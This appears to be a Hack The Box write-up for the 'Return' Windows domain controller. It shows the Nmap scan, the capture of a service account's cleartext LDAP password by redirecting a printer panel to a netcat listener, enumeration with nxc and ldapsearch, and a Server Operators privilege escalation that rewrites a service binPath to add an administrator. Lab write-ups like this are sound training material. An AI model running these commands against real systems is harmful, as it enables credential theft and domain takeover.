Return

Nmap :p

Nmap scan report for return.htb (10.129.71.153)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: HTB Printer Admin Panel
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: PRINTER; OS: Windows

A domain controller for return.local that also has a website called “HTB Printer Admin Panel”. Let’s check the site first. The settings page has the printer’s LDAP config on it:

image

We get a known user, svc-printer. Immediately I think AS-REP roasting, but that didn’t work for this user.

However, we can edit this information and hit the Update button. The printer will try to connect to whatever server address we give it and authenticate with its saved creds. If we point it at ourselves, maybe we can catch them with a nc listener on 389:

image

nc -lvnp 389
listening on [any] 389 ...
connect to [10.10.17.229] from (UNKNOWN) [10.129.71.153] 57906
0*`%return\svc-printer�
                       1edFg43012!!

LDAP simple bind sends the password in cleartext, so it just shows up in our listener. That password doesn’t match the 7 asterisks shown on the page, but that field is just a placeholder so let’s try anyway:

nxc ldap return.local -u svc-printer -p '1edFg43012!!' --users
LDAP        10.129.71.153   389    PRINTER          [+] return.local\svc-printer:1edFg43012!!
LDAP        10.129.71.153   389    PRINTER          -Username-                    -Description-
LDAP        10.129.71.153   389    PRINTER          Administrator                 Built-in account for administering the computer/domain
LDAP        10.129.71.153   389    PRINTER          Guest                         Built-in account for guest access to the computer/domain
LDAP        10.129.71.153   389    PRINTER          krbtgt                        Key Distribution Center Service Account
LDAP        10.129.71.153   389    PRINTER          svc-printer                   Service Account for Printer

It does work!

Enumerating access

Listing shares with our new creds:

nxc smb return.local -u svc-printer -p '1edFg43012!!' --shares
SMB         10.129.71.153   445    PRINTER          Share           Permissions     Remark
SMB         10.129.71.153   445    PRINTER          -----           -----------     ------
SMB         10.129.71.153   445    PRINTER          ADMIN$          READ            Remote Admin
SMB         10.129.71.153   445    PRINTER          C$              READ,WRITE      Default share
SMB         10.129.71.153   445    PRINTER          IPC$            READ            Remote IPC
SMB         10.129.71.153   445    PRINTER          NETLOGON        READ            Logon server share
SMB         10.129.71.153   445    PRINTER          SYSVOL          READ            Logon server share

We quite literally have read on everything and write on C$. Are we admin? Not quite. Dumping NTDS fails with access denied, and psexec, wmiexec and smbexec all fail too:

impacket-psexec return.local/svc-printer:'1edFg43012!!'@10.129.71.153
# share 'ADMIN$' is not writable

impacket-wmiexec return.local/svc-printer:'1edFg43012!!'@10.129.71.153
# rpc_s_access_denied

So having write on a share and being allowed to run things remotely are two separate checks. Let’s see what groups this account is actually in:

ldapsearch -x -H ldap://10.129.71.153 -D "svc-printer@return.local" -w '1edFg43012!!' \
  -b "DC=return,DC=local" "(sAMAccountName=svc-printer)" memberOf

memberOf: CN=Server Operators,CN=Builtin,DC=return,DC=local
memberOf: CN=Remote Management Users,CN=Builtin,DC=return,DC=local
memberOf: CN=Print Operators,CN=Builtin,DC=return,DC=local

Remote Management Users means we can WinRM in. Server Operators is the real prize.

User

evil-winrm -i 10.129.71.153 -u svc-printer -p '1edFg43012!!'

We grab the user flag from C:\Users\svc-printer\Desktop\.

Privesc: Server Operators

What does Server Operators actually give us? Members can reconfigure and start/stop services on the DC, without being local admins. Services run as SYSTEM, so if we can change what binary a service points to, we can run anything as SYSTEM.

We used the VSS (Volume Shadow Copy) service since it’s not critical for the box to run. We point its binary path at a command that creates a new user and adds it to the local Administrators group:

sc.exe config VSS binPath= "cmd /c net user pwned Password123! /add && net localgroup administrators pwned /add"
sc.exe start VSS

The start fails with FAILED 1053 because cmd isn’t a real service binary, but Windows still runs the command before it gives up. Checking our new user:

net user pwned
...
Local Group Memberships      *Administrators

Root

Logging in as our new admin user and grabbing the root flag:

evil-winrm -i 10.129.71.153 -u pwned -p 'Password123!'
type C:\Users\Administrator\Desktop\root.txt

Ez gg.